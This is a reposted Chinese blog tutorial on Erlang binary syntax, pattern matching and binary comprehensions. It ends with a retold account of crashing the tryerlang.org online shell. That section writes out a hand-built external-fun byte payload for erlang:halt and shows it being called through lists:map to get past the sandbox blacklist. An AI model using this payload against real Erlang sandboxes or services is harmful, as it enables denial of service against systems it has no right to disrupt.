[Erlang20]一起攻克Binary


 

第一次看到Joe Armstong的 《Erlang 程序設計》里面對Binary的描述時,覺得這個東西好復雜,語法這么奇特(我覺得是Erlang語法中最不好懂的部分);
然后在項目中:Binary的處理都在網絡包處理層,基本不會有改動,所以從此以后就再也沒有去深看Binary。
但是看cowboy最新版本的優化說:
 
   Cowboy aims to provide a  complete HTTP stack in a  small code base. It is optimized for  low latency and  low memory usage, in part because it uses  binary strings
 

就又非(gu)常(qi)好(yong)奇(qi)地想了解下這個神奇的Binary.[可是網絡上的關於Binary的資料真的是少得可憐...]
但是:不過還是淘到了幾篇非常好的文章:
  1.  ErlangVM 是怎么實現Binary數據類型的,實現原理從宏觀到細節,值得反復細讀:http://www.cnblogs.com/zhengsyao/p/erlang_eterm_implementation_5_binary.html
  2.  這個是從應用層上去具體使用上去解釋為什么Binary會非常高效且內存占用比List少:http://cryolite.iteye.com/blog/1547252
  3. 1 中提到的官方效率指南:http://www.erlang.org/doc/efficiency_guide/binaryhandling.html
  4. 如果要處理Binary最好自己寫模式匹配或使用binary.erl里面的函數:http://stackoverflow.com/questions/21779394/erlang-high-memory-usage-for-processing-list-of-binary-parts
  5. 一個講故事介紹Binary原理的文章:http://dieswaytoofast.blogspot.com/2012/12/erlang-binaries-and-garbage-collection.html
 
理解了上面的內容后,就會認識到Binary的強大,但是對Binary的語法還是心存恐懼:
其實如果一個事物不熟悉或太自由,大部分人都首先覺得“哇,好牛逼”,漸漸地恰恰由於這過多的自由(太靈活),有時會感覺到自身的駕馭能力不足,多少會有點害怕,進而就不想去理解它【抱着一種反正可以用其它方法取代的心態】
下面,我們就通過把Binary和List(這個不熟悉就說不過去了)對比來看Binary的語法,不要因為恐懼錯過美好的東西:
 
首先我們知道List的語法是最簡單,明了的。 其實Binary的目的最終也是想把Binary的語法和List保持一致
 
1.Binary怎么節省的空間?
 keep_0XX([{0,B2,B3}|Rest]) ->
    [{0,B2,B3}|keep_0XX(Rest)];
 keep_0XX([{1,_,_}|Rest]) ->
    keep_0XX(Rest);
 keep_0XX([]) ->
    [].
或者使用下面的列表解析方式:
keep_0XX(List) ->
  [{0,B2,B3} || {0,B2,B3} <- List].
上面這個函數看上去簡潔優雅,簡直可以說是完美, 但是還有2個問題:
1.1 這個三元tuple非常浪費空間,如果使用<<B1/Size1,B2/Size2,B3/Size2>>來從bit級別去理解你的需要,想分配多少就直接給多個,這樣才是極致;
1.2 輸入的不確定性:可能來自於網絡,或能來自於文件中,這時,我們還要把得到的數據轉化為一個3元tuple的List,為什么不能一步到位?
 
所以:這里使用Binary[網絡中的數據包大部分都是Binary,除了文本的http]會更好:
keep_0XX(Bin) ->
    [ <<0:1,B:2>> || <<0:1,B:2>> <= Bin].
2.Binary語法:溫故而知新,多想想它為什么要這么規定[一切都是為了網絡數據]?
<<Segment1,Segment2,...,Senmentn>>
每個Segment都是現面這種方式
Value:Size/TypeSpecifierList
2.1.Value可以是任意的Erlang Term,綁定的變量,不綁定的變量,不關心的"_";
2.2 Size 可以是正整數或綁定為正整數的變量(不能是不綁定變量),但總的Size加起來一定是8的倍數,因為二進制沒有辦法表達一個非8倍數長度的比特串;
      Integer默認為8,Float默認為64,其它類型在模式匹配時必須指定Size.
2.3 TypeSpecifierList 由End-Sign-Type-Unit的列表:每一個前置項可以忽略,沒有要求。
      2.3.1 Type可以是: integer | float | binary | bytes | bitstring | bits | utf8 | utf16 | utf32 如果不指定就默認為Integer
      2.3.2 Signedness: signed | unsigned 只有當Type為Integer時才會有用,默認為‘unsigned'
      2.3.3 Endianness: big | little | native 指定計算機系統的字節序,native是運行時決定的字節序,依賴於CPU,默認為big,唯一用到這項的情形就是處理整數和二進制數據之間的封包和解包工作。
                                 例如你在big上看到的是<<0,0,0,72>> 在little上看到的是<<72,0,0,0>>.
       2.3.4 Unit: unit:Integer 1~255 整個區塊長度為Size*Unit bit整個區塊的長度必須>=0且 整除8
                       Unit默認值由Type決定:Type=integer或float時為1,Type=binary則為8
 
Joe大爺說:如果你還是對比特語法感覺不適應,最好的辦法就是在shell中嘗試你需要的模式直接得到真確的值,然后把它們復制粘貼到程序中就行啦。他就是這么做的....
 
給一些binary默認時的情況給你測試下下:
Segment Default expansion
X X:8/integer-unit:1
X/float X:64/float-unit:1
X/binary X:all/binary
X:size/binary X:Size/binary-unit:8
 
3.Binary模式匹配
3.1 示例1:最基本的:
 
Binary = <<10, 11, 12>>,
   <<A:8, B/binary>> = Binary.
   A=10,B=<<11,12>>.
 
3.2 示例2 Size並不需要事先綁定值,通常的做法是:
<<Sz:8/integer,
Vsn:Sz/integer,
Msg/binary>> = <<16,2,154,42>>.
Sz = 16,Vsn=666,Msg=<<42>>.
先從前面得到頭,再在后面的匹配中使用
3.3.
case Binary of
<<42:8/integer, X/binary>> ->
   handle_bin(X);
<<Sz:8, V:Sz/integer, X/binary>> when Sz > 16 ->
   handle_int_bin(V, X);
<< :8, X:16/integer, Y:8/integer>> ->
  handle int_int(X, Y)
end.
Binary Matching of X
<<42,14,15>> <<14,15>>
<<24,1,2,3,10,20>> <<10,20>>
<<12,1,2,20>> 258
<<0,255>> failure
 
 
4.一些關於binary的BIF
  4.1 binary_to_list(Bin)  這個函數只能處理size為8的整數的Bin[你可以試下:binary_to_list(<<1:21>>)).];
  4.2 size(Bin)是返回存儲Bin實際的大小空間,不是分配給他的,如果你要查看分配給他的,就用bit_size(Bin).
 
5.Binary 的binary解析【相對於List的列表解析】
   不要忘記了Binary的語法的終極目標,做得和List一樣好用!
 5.1 把Binary轉換為List:【只需要<-變成了<= 】
 
1> [ X || <<X>> <= <<1,2,3,4,5>>, X rem 2 == 0].    
    [2,4]
 5.2 如果你只是想把不是binary處理后變成一個binary就不用使用 <=
 
2> << <<R:8, G:8, B:8>> ||  {R,G,B} <- [{213,45,132},{64,76,32},{76,0,0},{234,32,15}] >>.
  <<213,45,132,64,76,32,76,0,0,234,32,15>>

找資料的過程中有一個非常意外而有意思的收獲:
 
 
www.tryerlang.org 是一個不用安裝Erlang就可以讓你先在web上體驗簡單Erlang的網站,有人折騰着就想搞破壞【這個人真有意思!!!!!】:
 
預備知識:
在分布式的Erlang機器里面,A Node會把terms會轉化為binaries,然后再給B Node,B Node會把這binaries再轉回terms,使用的是BIF :term_to_binary/1, binary_to_term/1
你可以在這里 the official Erlang Documentation 找到更多這方面的信息。
 
搞掛Node:
Hacker想把Node給搞掛,首先他想使用了 erlang:halt(). 會把Node正常退出,還沒有返回值,這個函數已由於安全問題已被屏蔽掉啦,所以
所以他得到的信息只有:“exception error: restricted”
目前為止:一切正常,節點還在運行中,這家伙又想了會,發現tryerlang.org允許自己定義 funs. 你可以在這里面找到 相關的文檔
通過這個,可以解碼出一個外部的fun:
 
 
 113 | Module | Function | Arity

 

113代表的是fun類型, Module 和 Function 都是 atoms , Arity 是一個整數. 這些atoms可以使用 ATOM_EXT來解碼 ,那Arity可以使用 SMALL_INTEGER_EXT解碼 .

atoms的解碼格式是這樣子:

100 | Len | AtomName

 

 Len  是AtomName的長度,有2bytes.

整數的解碼格式是這樣子:

97 | Int
然后我們要考慮的就是那個term_to_binary做了什么事: 加了一個131標識在term的前面,了解了這些,就可以自己構造一個erlang:halt/0來試試把tryerlang.org搞崩潰:
 
我們可以手動自己來構造erlang,和halt的atoms【其實可以使用term_to_binary/1來做,但這個函數,也被tryerlang.org加入了黑名單】,所以我們先在自己的shell里面看看情況:
Eshell V5.8.1  (abort with ^G)

> term_to_binary(erlang).

<<131,100,0,6,101,114,108,97,110,103>>

> term_to_binary(halt).

<<131,100,0,4,104,97,108,116>>
 
忽略那個初始的131,然后把這2個atom接在一起
<<100,0,6,101,114,108,97,110,103,100,0,4,104,97,108,116>>

然后再把131(所有的term_to_binary/1都會加的), 113 (外部funs的類型標識)最后不要在結尾忘了arity:0:

<<131,113,100,0,6,101,114,108,97,110,103,100,0,4,104,97,108,116,97,0>>

這樣,我們就把外部fun erlang:halt/0用binary的形式表現出來了!

> binary_to_term(<<131,113,100,0,6,101,114,108,97,110,103,100,0,4,104,97,108,116,97,0>>).
8>#Fun<erlang.halt.0>

那么,現在把我們的成果搞到tryerlang.org的shell里面:

>B = <<131,113,100,0,6,101,114,108,97,110,103,100,0,4,104,97,108,116,97,0>>.

然后我們再把B從binary轉成Erlang term. 最開始時, tryerlang.org 可以使用 the binary_to_term function in safe mode. 這個函數從那次攻擊之后也被加入黑名單,所以你只能在你自己的shell里面試試:)

>F = binary_to_term(B, [safe]).

現在我們來啟動一個這個Fun看看:

>F().

很好,現在還是不行 tryerlang.org 會察覺到 erlang:halt/0 會被調用,然后把他阻塞住. 我們需要再小小改變一下:

如果我們把halt函數入在別一個函數里面調用,比如:lists:map/2,唯一的不同是:我們需要一給一個參數給halt function;
很走運,我們可以使用 an alternative version of erlang:halt/0 exists, taking exactly one argument. 來做. 我們只需要把最后一個0改成1,記得先使用BIF f/1把變量B.
> f(B).
> B = <<131,113,100,0,6,101,114,108,97,110,103,100,0,4,104,97,108,116,97,1>>.

然后我們應該就可以啦:

> f(F).
>F = binary_to_term(B, [safe]).
>lists:map(F, [0]).
這個node就死掉了。
實際上節點死掉后,會馬上用  heart 重啟,但是,不得不說,這家伙干得漂亮!  :)
 

Please note that the hacker had the advantage to look at the source code for tryerlang.org while performing the attack.

I wanted to share this experience with all of you. I consider it highly constructive, since it leads to reflect on several aspects of Erlang

 

祝馬上就要開學的各位高中生們逛街時偶遇班主任~~~哈哈~~~


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM